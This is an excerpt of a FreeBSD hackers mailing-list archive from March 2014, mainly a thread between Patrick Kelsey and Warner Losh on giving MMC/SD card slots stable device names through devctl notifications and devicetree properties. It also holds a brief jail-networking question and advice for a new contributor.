b=AAnyUM3U/ffAhA1+NG0mSL7ZMtK0O4jXQIz2YeNQOnbruXyxCayctT76i+w2TyO0EL 1kDVfZ9g12Bw0JaM/Vv84RuoMJY0xiOm1gm9iC0OM9hWQBThoA4RxLtBGOkSt/6QMWOK fa+HjZicieCnAvNlwlGWfkFqcZxlF1SgyGS78Gc53G+So1didK70eXSgm/mpk3ldt6p8 /Q+F6QGQLCuAUbKP8XEvm2eN5fmgtWFOPUaimomCyDqarlzdUVqS81af7FgVZ/crwcP5 9VkMIOo1MsQNFAvdJ7pnGFx69Gavadj1qhxlJW6Af5g/Uv8axfwP4XSeixe5Mt1wCIgv Qxyg== MIME-Version: 1.0 X-Received: by 10.60.246.97 with SMTP id xv1mr2681854oec.33.1394062216215; Wed, 05 Mar 2014 15:30:16 -0800 (PST) Received: by 10.182.76.201 with HTTP; Wed, 5 Mar 2014 15:30:16 -0800 (PST) Date: Wed, 5 Mar 2014 18:30:16 -0500 Message-ID: Subject: How do I create a cloned interface when there is no static connection? From: Joe Nosay To: FreeBSD Hackers Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Mar 2014 23:30:17 -0000 I'm thinking that I may need to setup a script to create the interface and then bridge it so that the jail can connect to the internet. From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 00:53:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F0C23811; Thu, 6 Mar 2014 00:53:13 +0000 (UTC) Received: from mail-lb0-x22b.google.com (mail-lb0-x22b.google.com [IPv6:2a00:1450:4010:c04::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id CE6FF64B; Thu, 6 Mar 2014 00:53:12 +0000 (UTC) Received: by mail-lb0-f171.google.com with SMTP id w7so1276322lbi.30 for ; Wed, 05 Mar 2014 16:53:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=q/enwDvvL6xYQB36OxlVhzTMsF1J81oWV/NRWNPFDd8=; b=WoedIAuoQiwKgK4JubQ6fNYUJeAbgeYcXeu5dMPUcyGnNlY1j23DbC+WUGxKohUGVI cQLtTOd9lnKGcEZebx4VNFDgueheWPRTZlMrJAF+Cq9JVjROObscTVhwVCCFzuhFRxL1 oxX1Q0KoJkLlg1rIbPc+HbhTxCysohUAIL6YOaeCvkznDQ3b9akurAyWBRaeH9IE8UKR bilvw87e1PQVvykeOQImRYIINB99uBqhESHscDQpZzFSj9BTYUGe+xKMxJb/7GSSRZ3z xb6Fszw4rG81mjxVsTFBWnz9+wo0Ca9UGnQMJYN7g2RE7j1QRz0oGJiCvz/xmLVXILpH 1J1A== MIME-Version: 1.0 X-Received: by 10.152.234.130 with SMTP id ue2mr5781303lac.0.1394067190985; Wed, 05 Mar 2014 16:53:10 -0800 (PST) Sender: pkelsey@gmail.com Received: by 10.112.142.5 with HTTP; Wed, 5 Mar 2014 16:53:10 -0800 (PST) In-Reply-To: <39ED4040-2A6A-4D85-97D5-DCDE4ECCA0EC@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> <438620C4-7712-4B01-A46F-CB57946A30BF@bsdimp.com> <16A5203B-B06D-4129-A54F-F34D5FA28D2B@bsdimp.com> <39ED4040-2A6A-4D85-97D5-DCDE4ECCA0EC@bsdimp.com> Date: Wed, 5 Mar 2014 19:53:10 -0500 X-Google-Sender-Auth: 8ktgL6o7K4ty-hbimS3WPZBpxlU Message-ID: Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Patrick Kelsey To: Warner Losh Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , freebsd-arm , freebsd-embedded@freebsd.org, Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 00:53:14 -0000 On Wed, Mar 5, 2014 at 5:44 PM, Warner Losh wrote: > > On Mar 5, 2014, at 2:56 PM, Patrick Kelsey wrote: > > > > > > > > > On Wed, Mar 5, 2014 at 4:24 PM, Warner Losh wrote: > > > > On Mar 5, 2014, at 11:55 AM, Patrick Kelsey wrote: > > > > > > > > > > > > > > On Wed, Mar 5, 2014 at 8:31 AM, Warner Losh wrote: > > > > > > On Mar 4, 2014, at 11:53 PM, Patrick Kelsey wrote: > > > > > > > > > > > > > > > > > > > On Tue, Mar 4, 2014 at 8:21 AM, Ian Lepore wrote: > > > > > > > > There's a standard property for mmc/sd devices, "non-removable" whose > > > > presence denotes things like soldered-on eMMC parts. Only one of our > > > > many sdhci drivers supports it right now (imx). In general the core > > > > part of the driver (dev/sdhci) doesn't have good support for > > > > insert/remove/presence detection that's handled off to the side > (whether > > > > it's non-removable or a gpio pin). > > > > > > > > That alone doesn't solve the wider problem, though, which I think > breaks > > > > down into two pieces. Let's say you've got two slots, call them left > > > > and right. You end up with these two problems... > > > > > > > > * Sometimes the right slot is mmcsd0, but it turns into mmcsd1 > if > > > > there's a card in the left slot when I boot; I don't want it > to > > > > change. > > > > > > > > And not just a boot-time issue, of course. If you were to remove > those two cards and then reinsert them in the opposite time-order, their > device names would swap. > > > > > > > > * I want the slot on the left to be named '1' and the right to > be > > > > '0'. > > > > > > > > The first problem is easily solved without impacting dts in any way. > We > > > > just wire down the relationship controllerN -> mmcN -> mmcsdN. This > is > > > > exactly equivelent to the old ATA_STATIC_ID option in its effect -- > you > > > > don't get to choose the names, but you know they won't change based > on > > > > which devices are present. It could be controlled with a tunable. > > > > > > > > It's harder to envision the fix for the second part without adding an > > > > ad-hoc property for the devices. Even with a property I'm not sure > how > > > > easy it would be. > > > > > > > > We should be able to assign a geographic address (controllerX:slotY) > to each mmcsd device in a given system (let's ignore for now the > theoretical possibility of multiple cards on one bus). The 'controllerX' > part of the address could be the controller's pathname from the devicetree, > or an index assigned by mmcbr machinery at attach time. The "slotY" part > of the address is assigned by the specific controller device driver using > some internally-determined fixed mapping between the assigned values and > its physical slots. This geographic address could be used to create an > additional set of /dev entries with stable names. There could be a > mechanism for user-configurable aliases for the geographical addresses. > > > > > > There's already a chance to run a script when a device is attached > that can create /dev/slot0 or /dev/slot1 that has geographical information > available to it. People use ddvd for this in the USB world all the time to > make sure that tty devices get a symlink based on their location or serial > number. > > > > > > Why is mmc so different it needs its own mechanism? > > > > > > I'm laying out my view of the information that would be needed and the > types of actions that would have to be taken based on that information to > solve the issue. I'm not saying devd can't be the piece that is used to > implement the actions (indeed, I noted devd as a potential building block > for a solution in my initial response). I'm also not saying mmc needs its > own mechanism, I'm saying it needs /a/ mechanism, and so far there still > seems to be something missing (because it's not there, or I'm still > ignorant of it). > > > > > > What seems to be missing is geographical addressing for mmc devices. > > > > > > I think what you might be saying is that the existing mmcsd add/remove > code could be augmented to send devctl notifications, along the lines of: > > > > > > devctl_notify("MMC", "DEVICE", "ATTACH"|"DETACH", "... > controller= > slot= rca=") > > > > > > and then I and the fine author of devctl and devd would be pleased. > > > > MMC doesn't need anything special here. That's already present. Looking > at the device tree we see on one of the platforms that's handy for me to > access: > > > > at91_mci0 > > mmc0 > > mmcsd0 at rca=0xb368 > > > > So you know that mmcsd0 is on mmc0 bus attached to at91_mci0, which is > ultimately the FDT node where things came from. There's not a user-defined > slot associated with this (and we should have a SLOT A vs SLOT B as a > location info for this platform, because we can have two cards on the one > bus in the MMC case), true, but for your use case I don't think that you > need it. We should be attaching the host controller regardless of whether > the or not there's a card in there, so it will be fixed. While some > additional information would be useful to publish, I don't think your use > case requires it... > > > > > > The reason you need something extra here is that what is there now > breaks down whenever you don't have a one-to-one mapping between > controllers and buses. Any controller with more than one slot can yield > something of the form: > > > > sdhci0 > > mmc0 > > mmcsd0 at rca=0xabcd > > mmc1 > > mmcsd1 at rca=0x1234 > > > > and you have no idea what physical slot in the system mmcsd0 and mmcsd1 > are in. > > The driver isn't going to be able to help you, because it reports mmc0 > based on the data it gets from slot 0 status registers, and mmc1 based on > slot 1 status registers. Since there's no notion of how that maps to > physical hardware, the driver can't do anything automatically. And since > mmc on down is populated by FreeSBD, there's no hints in the FDT tree for > them. > > > For my immediate use case, sure, I can rely on the one-to-one > relationship between controllers and buses. At this point, though, rather > than skate by on that happy coincidence, I'd rather invest what now seems > to be a rather small amount of effort adding mmcsd devctl notifications > that would cover the multiple-slots-per-controller case as well, and then > build the rest of what I want on top of that information coming out of ddvd. > > Trouble is, how do we know what to send with this new notification. That's > the part I'm having trouble with. Where does that data come from? And how > is it different than what's in the device tree? > > Each controller driver maintains an instance of struct mmc_host for each physical bus interface (typically referred to as a 'slot' in the drivers) it has. When a card is detected in a given slot by the driver, the driver creates an mmc bus instance and attaches the struct mmc_host corresponding to that slot to provide the ivar values. So let's say struct mmc_host gets a new member 'slot_number', and a new ivar MMC_IVAR_SLOT_NUMBER is defined. The slot number in each instance of struct mmc_host a driver maintains gets set to a controller-relative index of the corresponding physical interface - the controller will do this the same way every time, because it is tied to the register layout of the controller. After the mmc bus instance is created and its ivars are set, probe-and-attach is run on that bus, and an mmcsd device instance is created for each card that is found. At the point where the mmcsd device instance is created, one knows the parent bus for that new mmcsd device, and thus one can get the value of MMC_IVAR_SLOT_NUMBER for that bus, as well as the name of the controller device instance that is the parent of the parent bus. It thus possible at that point to devctl_notify("MMC", "DEVICE", "ATTACH", "... controller= slot= ") Because the controller attachment order is the same on every boot, as is the slot number ivar for a given bus interface on each controller hardware instance, an identical attach message will be generated every time a card is discovered in that physical location in the system. For a given system, there will thus be a fixed mapping between {controller_instance,slot} tuples that appear in these messages and the physical MMC/SD device locations. In the above, I've left out the value of rca from the discussion because upon further reflection, it cannot be stably tied to a physical location. If there is a multidrop MMC bus in a system, the physical card locations on that bus will not be able to be referred to with stable names. This is the one area where a new property in the FDT could be useful to convey multidrop-or-not for each bus interface on a controller. The new property could be 'freebsd,max-devices' and would be an array of cells that indicates the maximum number of MMC/SD devices that can be connected to the controller bus interface corresponding to that cell index. The devctl notification could then include a multidrop indicator in the message. > > On the at91 platform cited above, that allows you to connect two MMC > cards to the same bus (i.e., multidrop configuration), is there any way to > distinguish which card is in which physical slot? I'm still under the > impression that this is the one case where we aren't going to be able to > determine the physical location of every mmcsd device. > > Actually, there's two different configurations, I believe. One that > supports two SD cards (SLOT A / SLOT B) and one that supports MMC multi > drop. The former has been tested at least once, while the latter I don't > think had ever been checked. > I think MMC multidrop will remain a limitation, and perhaps an insignificant one (does *anyone* know of a current system that does this?). -Patrick From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 01:10:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F0C5DB49 for ; Thu, 6 Mar 2014 01:10:34 +0000 (UTC) Received: from mail-pb0-f48.google.com (mail-pb0-f48.google.com [209.85.160.48]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B9D0A7F6 for ; Thu, 6 Mar 2014 01:10:34 +0000 (UTC) Received: by mail-pb0-f48.google.com with SMTP id md12so1844620pbc.35 for ; Wed, 05 Mar 2014 17:10:28 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=7sbU++ktENm+Fyc+1OZHbIBRsCavaa50VhRDyZ7/RLY=; b=KO3wkMYEvqdZAyVMiJ9bxaHc5C5LRJm0nailgBy4Y/NJZs/QuSJkkdlTrPEV1vPnhX CvRChldNOJ6dX4wxqs9VswYApwM4T2mSot5omA/CaRLV33c2v+AEsmiq054Dnm/1EuN7 GIVMapeaDJGw+1TV09tDIXBx0EhIIViy9IKzjKNogCl+aqc+81boLmA09ShwDI+RZWj0 EB0w0XS4HvkINURlhRBOhqpIPS7K4ckZ85oVfqg26zY2G3FpRIXWZ8sEblup90pvluzK C9GujWDYEnvD5bBj2SfzIEPC8Ax3sDUQpk6sfj1tdnlLO9NFWZ6U5j81jk+f/k4mIkE2 DNCg== X-Gm-Message-State: ALoCoQn6Gp4jv8DfLG99oZMCFSJWaE0gS1rXT3swfAfw5t46BdtYtw8YKqrHihuNUOCMwflOulDw X-Received: by 10.68.245.162 with SMTP id xp2mr10768179pbc.69.1394067782329; Wed, 05 Mar 2014 17:03:02 -0800 (PST) Received: from lglt-rottaway.corp.netflix.com (dc1-prod.netflix.com. [69.53.236.251]) by mx.google.com with ESMTPSA id sm5sm24991394pab.19.2014.03.05.17.03.00 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 05 Mar 2014 17:03:01 -0800 (PST) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) From: Warner Losh In-Reply-To: Date: Wed, 5 Mar 2014 18:02:58 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <899B9ABD-0ACC-49F2-9520-CCE837D39875@bsdimp.com> References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> <438620C4-7712-4B01-A46F-CB57946A30BF@bsdimp.com> <16A5203B-B06D-4129-A54F-F34D5FA28D2B@bsdimp.com> <39ED4040-2A6A-4D85-97D5-DCDE4ECCA0EC@bsdimp.com> To: Patrick Kelsey X-Mailer: Apple Mail (2.1874) Cc: "freebsd-hackers@freebsd.org" , freebsd-arm , freebsd-embedded@freebsd.org, Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 01:10:35 -0000 On Mar 5, 2014, at 5:53 PM, Patrick Kelsey wrote: >=20 >=20 >=20 > On Wed, Mar 5, 2014 at 5:44 PM, Warner Losh wrote: >=20 > On Mar 5, 2014, at 2:56 PM, Patrick Kelsey wrote: >=20 > > > > > > > > On Wed, Mar 5, 2014 at 4:24 PM, Warner Losh wrote: > > > > On Mar 5, 2014, at 11:55 AM, Patrick Kelsey wrote: > > > > > > > > > > > > > > On Wed, Mar 5, 2014 at 8:31 AM, Warner Losh = wrote: > > > > > > On Mar 4, 2014, at 11:53 PM, Patrick Kelsey = wrote: > > > > > > > > > > > > > > > > > > > On Tue, Mar 4, 2014 at 8:21 AM, Ian Lepore = wrote: > > > > > > > > There's a standard property for mmc/sd devices, "non-removable" = whose > > > > presence denotes things like soldered-on eMMC parts. Only one = of our > > > > many sdhci drivers supports it right now (imx). In general the = core > > > > part of the driver (dev/sdhci) doesn't have good support for > > > > insert/remove/presence detection that's handled off to the side = (whether > > > > it's non-removable or a gpio pin). > > > > > > > > That alone doesn't solve the wider problem, though, which I = think breaks > > > > down into two pieces. Let's say you've got two slots, call them = left > > > > and right. You end up with these two problems... > > > > > > > > * Sometimes the right slot is mmcsd0, but it turns into = mmcsd1 if > > > > there's a card in the left slot when I boot; I don't = want it to > > > > change. > > > > > > > > And not just a boot-time issue, of course. If you were to = remove those two cards and then reinsert them in the opposite = time-order, their device names would swap. > > > > > > > > * I want the slot on the left to be named '1' and the = right to be > > > > '0'. > > > > > > > > The first problem is easily solved without impacting dts in any = way. We > > > > just wire down the relationship controllerN -> mmcN -> mmcsdN. = This is > > > > exactly equivelent to the old ATA_STATIC_ID option in its effect = -- you > > > > don't get to choose the names, but you know they won't change = based on > > > > which devices are present. It could be controlled with a = tunable. > > > > > > > > It's harder to envision the fix for the second part without = adding an > > > > ad-hoc property for the devices. Even with a property I'm not = sure how > > > > easy it would be. > > > > > > > > We should be able to assign a geographic address = (controllerX:slotY) to each mmcsd device in a given system (let's ignore = for now the theoretical possibility of multiple cards on one bus). The = 'controllerX' part of the address could be the controller's pathname = from the devicetree, or an index assigned by mmcbr machinery at attach = time. The "slotY" part of the address is assigned by the specific = controller device driver using some internally-determined fixed mapping = between the assigned values and its physical slots. This geographic = address could be used to create an additional set of /dev entries with = stable names. There could be a mechanism for user-configurable aliases = for the geographical addresses. > > > > > > There=92s already a chance to run a script when a device is = attached that can create /dev/slot0 or /dev/slot1 that has geographical = information available to it. People use ddvd for this in the USB world = all the time to make sure that tty devices get a symlink based on their = location or serial number. > > > > > > Why is mmc so different it needs its own mechanism? > > > > > > I'm laying out my view of the information that would be needed and = the types of actions that would have to be taken based on that = information to solve the issue. I'm not saying devd can't be the piece = that is used to implement the actions (indeed, I noted devd as a = potential building block for a solution in my initial response). I'm = also not saying mmc needs its own mechanism, I'm saying it needs /a/ = mechanism, and so far there still seems to be something missing (because = it's not there, or I'm still ignorant of it). > > > > > > What seems to be missing is geographical addressing for mmc = devices. > > > > > > I think what you might be saying is that the existing mmcsd = add/remove code could be augmented to send devctl notifications, along = the lines of: > > > > > > devctl_notify("MMC", "DEVICE", "ATTACH"|"DETACH", "... = controller=3D = slot=3D rca=3D") > > > > > > and then I and the fine author of devctl and devd would be = pleased. > > > > MMC doesn=92t need anything special here. That=92s already present. = Looking at the device tree we see on one of the platforms that=92s handy = for me to access: > > > > at91_mci0 > > mmc0 > > mmcsd0 at rca=3D0xb368 > > > > So you know that mmcsd0 is on mmc0 bus attached to at91_mci0, which = is ultimately the FDT node where things came from. There=92s not a = user-defined slot associated with this (and we should have a SLOT A vs = SLOT B as a location info for this platform, because we can have two = cards on the one bus in the MMC case), true, but for your use case I = don=92t think that you need it. We should be attaching the host = controller regardless of whether the or not there=92s a card in there, = so it will be fixed. While some additional information would be useful = to publish, I don=92t think your use case requires it=85 > > > > > > The reason you need something extra here is that what is there now = breaks down whenever you don't have a one-to-one mapping between = controllers and buses. Any controller with more than one slot can yield = something of the form: > > > > sdhci0 > > mmc0 > > mmcsd0 at rca=3D0xabcd > > mmc1 > > mmcsd1 at rca=3D0x1234 > > > > and you have no idea what physical slot in the system mmcsd0 and = mmcsd1 are in. >=20 > The driver isn=92t going to be able to help you, because it reports = mmc0 based on the data it gets from slot 0 status registers, and mmc1 = based on slot 1 status registers. Since there=92s no notion of how that = maps to physical hardware, the driver can=92t do anything automatically. = And since mmc on down is populated by FreeSBD, there=92s no hints in the = FDT tree for them. >=20 >=20 > > For my immediate use case, sure, I can rely on the one-to-one = relationship between controllers and buses. At this point, though, = rather than skate by on that happy coincidence, I'd rather invest what = now seems to be a rather small amount of effort adding mmcsd devctl = notifications that would cover the multiple-slots-per-controller case as = well, and then build the rest of what I want on top of that information = coming out of ddvd. >=20 > Trouble is, how do we know what to send with this new notification. = That=92s the part I=92m having trouble with. Where does that data come = from? And how is it different than what=92s in the device tree? >=20 >=20 > Each controller driver maintains an instance of struct mmc_host for = each physical bus interface (typically referred to as a 'slot' in the = drivers) it has. When a card is detected in a given slot by the driver, = the driver creates an mmc bus instance and attaches the struct mmc_host = corresponding to that slot to provide the ivar values. So let's say = struct mmc_host gets a new member 'slot_number', and a new ivar = MMC_IVAR_SLOT_NUMBER is defined. The slot number in each instance of = struct mmc_host a driver maintains gets set to a controller-relative = index of the corresponding physical interface - the controller will do = this the same way every time, because it is tied to the register layout = of the controller. >=20 > After the mmc bus instance is created and its ivars are set, = probe-and-attach is run on that bus, and an mmcsd device instance is = created for each card that is found. At the point where the mmcsd = device instance is created, one knows the parent bus for that new mmcsd = device, and thus one can get the value of MMC_IVAR_SLOT_NUMBER for that = bus, as well as the name of the controller device instance that is the = parent of the parent bus. It thus possible at that point to=20 >=20 > devctl_notify("MMC", "DEVICE", "ATTACH", "... = controller=3D = slot=3D ") >=20 > Because the controller attachment order is the same on every boot, as = is the slot number ivar for a given bus interface on each controller = hardware instance, an identical attach message will be generated every = time a card is discovered in that physical location in the system. For = a given system, there will thus be a fixed mapping between = {controller_instance,slot} tuples that appear in these messages and the = physical MMC/SD device locations. I=92m curious how that=92s materially different than the parent=92s mmc = instance number. That too is invariant between boots. There=92s a 1:1 - = onto mapping between this instance number and any controller/slot tuple = that would be created. Also, there doesn=92t need to be a special MMC message for this. If we = do create the notion of a slot number per controller, that would be part = of the location information that is in the location string for the = normal attach message. > In the above, I've left out the value of rca from the discussion = because upon further reflection, it cannot be stably tied to a physical = location. If there is a multidrop MMC bus in a system, the physical = card locations on that bus will not be able to be referred to with = stable names. This is the one area where a new property in the FDT = could be useful to convey multidrop-or-not for each bus interface on a = controller. The new property could be 'freebsd,max-devices' and would = be an array of cells that indicates the maximum number of MMC/SD devices = that can be connected to the controller bus interface corresponding to = that cell index. The devctl notification could then include a multidrop = indicator in the message. rca is more of a serial number than a location number. Useful for other = reasons. I=92m not sure how =91freebsd,max-devices=92 would solve the problem. = The controller already knows that. If we really want to tie things to a = physical location/ description, I=92d opt for something more like = =91freebsd,slot-names =3D =93Slot 0=94, =93Slot 1=94;=92 type of thing, = where you could just as easily have =93Top Card=94 =93bottom card=94 or = =93boot card=94 and =93customer card=94 if you wanted. Then the = controller could query this property to get the names to populate = somewhere in the PNP info for this device. The mmcsd driver would then = be free to also create a /dev/Blah alias as well for the disk, but I = don=92t know if that would cause aliases to get created for all the geom = children or not... > > On the at91 platform cited above, that allows you to connect two MMC = cards to the same bus (i.e., multidrop configuration), is there any way = to distinguish which card is in which physical slot? I'm still under = the impression that this is the one case where we aren't going to be = able to determine the physical location of every mmcsd device. >=20 > Actually, there=92s two different configurations, I believe. One that = supports two SD cards (SLOT A / SLOT B) and one that supports MMC multi = drop. The former has been tested at least once, while the latter I don=92t= think had ever been checked. >=20 > I think MMC multidrop will remain a limitation, and perhaps an = insignificant one (does *anyone* know of a current system that does = this?). I=92ve never heard of anybody trying this and having it fail in the past = 8 or so years since I wrote the SD/MMC stack. At the time I wrote it, it = was already ancient history=85 Warner= From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 01:47:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 537377B for ; Thu, 6 Mar 2014 01:47:00 +0000 (UTC) Received: from mail-ie0-x241.google.com (mail-ie0-x241.google.com [IPv6:2607:f8b0:4001:c03::241]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 286BFA4E for ; Thu, 6 Mar 2014 01:47:00 +0000 (UTC) Received: by mail-ie0-f193.google.com with SMTP id rl12so1401366iec.8 for ; Wed, 05 Mar 2014 17:46:59 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=de9PS9HUkjkOZZpKlwYcMsbIZxI5uND29lwUQB9Nk54=; b=XcXIp0+K/uYCLqIV0ZiaoJAbWJiJ1QZtikEom1VZqsJhmNgoeRmv+mXr4dU/xEnPM/ K706sLBd2jrotnyYdzwUCmKMUFN66ryciqUTjpq8c0YUQeMW1ygsXvpDfb/5IGSc2MqS b+lSw7udwWwq+HRvvZr9vrOGoK/Rqz3bjmtuMPfDRa/hMbvcwbxhfhsjWZZE9t8/Y4IW XtxCX2G0Iju2GI/OGJLxYXgBo4ezufES/j0W9OB4oh8wRqdsxMuS4gxtjOQP7sM2Pg9f r3gv+cwPXy02o2yo0mWAYL4ZBRrFojXVxBYGyRhomL0YE2ueNEUEu0425tIfZ5oS/8EG v6Qw== MIME-Version: 1.0 X-Received: by 10.50.189.134 with SMTP id gi6mr38018757igc.6.1394070419296; Wed, 05 Mar 2014 17:46:59 -0800 (PST) Received: by 10.64.250.101 with HTTP; Wed, 5 Mar 2014 17:46:59 -0800 (PST) Date: Wed, 5 Mar 2014 17:46:59 -0800 Message-ID: Subject: Re: getting involved and contributing From: Dieter BSD To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 01:47:00 -0000 > I'm looking for areas in which I might contribute code (c/c++, Python > etc). As I'm new to the code contribution deal, I'd like to start off > with something small if possible. There are plenty of problem reports that need fixing. Some of the mailing lists get a list of open PRs posted to them weekly, or you can search with your web browser. http://www.FreeBSD.org/cgi/query-pr-summary.cgi?query From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 6 02:48:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7EB012FB; Thu, 6 Mar 2014 02:48:57 +0000 (UTC) Received: from mail-qc0-x234.google.com (mail-qc0-x234.google.com [IPv6:2607:f8b0:400d:c01::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id EF25BF1C; Thu, 6 Mar 2014 02:48:56 +0000 (UTC) Received: by mail-qc0-f180.google.com with SMTP id x3so2241400qcv.39 for ; Wed, 05 Mar 2014 18:48:56 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=4/A2H+UPg0fQbuHEF8sPKkJWLna4IZhWjRoy7VgDBCU=; b=bYRNRKA/9GTei0KzMEPLQ3YaPsthw6IjYFdaB9SoDXYcBixyEl9o+b3CTmP+nom8ED 0nbpjZkjIl3HLpgy07jm8Iqxc3Il+penhh6YuC/dNCFa7t4qe0ehro4qLuQFvmYYltr5 y2cyPstCJFws3fIYtW2zcbAabPiHeRFXleKpwnBhfIZpF3eWJYJnY748RgwWq7ehXf/V xrTQKKLjwIsN98SaRsZMdjom8iPtO0Vjk3AF6E+dvxRwApvGpSWSOzqySbLdnHQucLvF H6vdcGK2mzyoyOyVR+wefiPDm/+dIq5kV9wPiGEh68Lj4XLdMNV2cURwQs/vNTOGYbqG XUvg== X-Received: by 10.140.40.5 with SMTP id w5mr10374914qgw.65.1394074136077; Wed, 05 Mar 2014 18:48:56 -0800 (PST) Received: from [172.16.0.124] (c-174-54-20-106.hsd1.pa.comcast.net. [174.54.20.106]) by mx.google.com with ESMTPSA id v12sm14100254qav.23.2014.03.05.18.48.53 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 05 Mar 2014 18:48:54 -0800 (PST) Sender: Patrick Kelsey References: <7C2B7036-51CC-4C97-80C4-0A439874357D@bsdimp.com> <1393939277.1149.300.camel@revolution.hippie.lan> <438620C4-7712-4B01-A46F-CB57946A30BF@bsdimp.com> <16A5203B-B06D-4129-A54F-F34D5FA28D2B@bsdimp.com> <39ED4040-2A6A-4D85-97D5-DCDE4ECCA0EC@bsdimp.com> <899B9ABD-0ACC-49F2-9520-CCE837D39875@bsdimp.com> Mime-Version: 1.0 (1.0) In-Reply-To: <899B9ABD-0ACC-49F2-9520-CCE837D39875@bsdimp.com> Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Message-Id: <9CEFA586-0319-4390-AC9A-B54EE77AD735@ieee.org> X-Mailer: iPhone Mail (10B329) From: Patrick Kelsey Subject: Re: [PATCH] simplebus child device probe order control via FDT (motivated by BeagleBone Black) Date: Wed, 5 Mar 2014 21:48:50 -0500 To: Warner Losh Cc: "freebsd-hackers@freebsd.org" , freebsd-arm , "freebsd-embedded@freebsd.org" , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Mar 2014 02:48:57 -0000 On Mar 5, 2014, at 8:02 PM, Warner Losh wrote: >=20 > On Mar 5, 2014, at 5:53 PM, Patrick Kelsey wrote: >=20 >>=20 >>=20 >>=20 >> On Wed, Mar 5, 2014 at 5:44 PM, Warner Losh wrote: >>=20 >> On Mar 5, 2014, at 2:56 PM, Patrick Kelsey wrote: >>=20 >>>=20 >>>=20 >>>=20 >>> On Wed, Mar 5, 2014 at 4:24 PM, Warner Losh wrote: >>>=20 >>> On Mar 5, 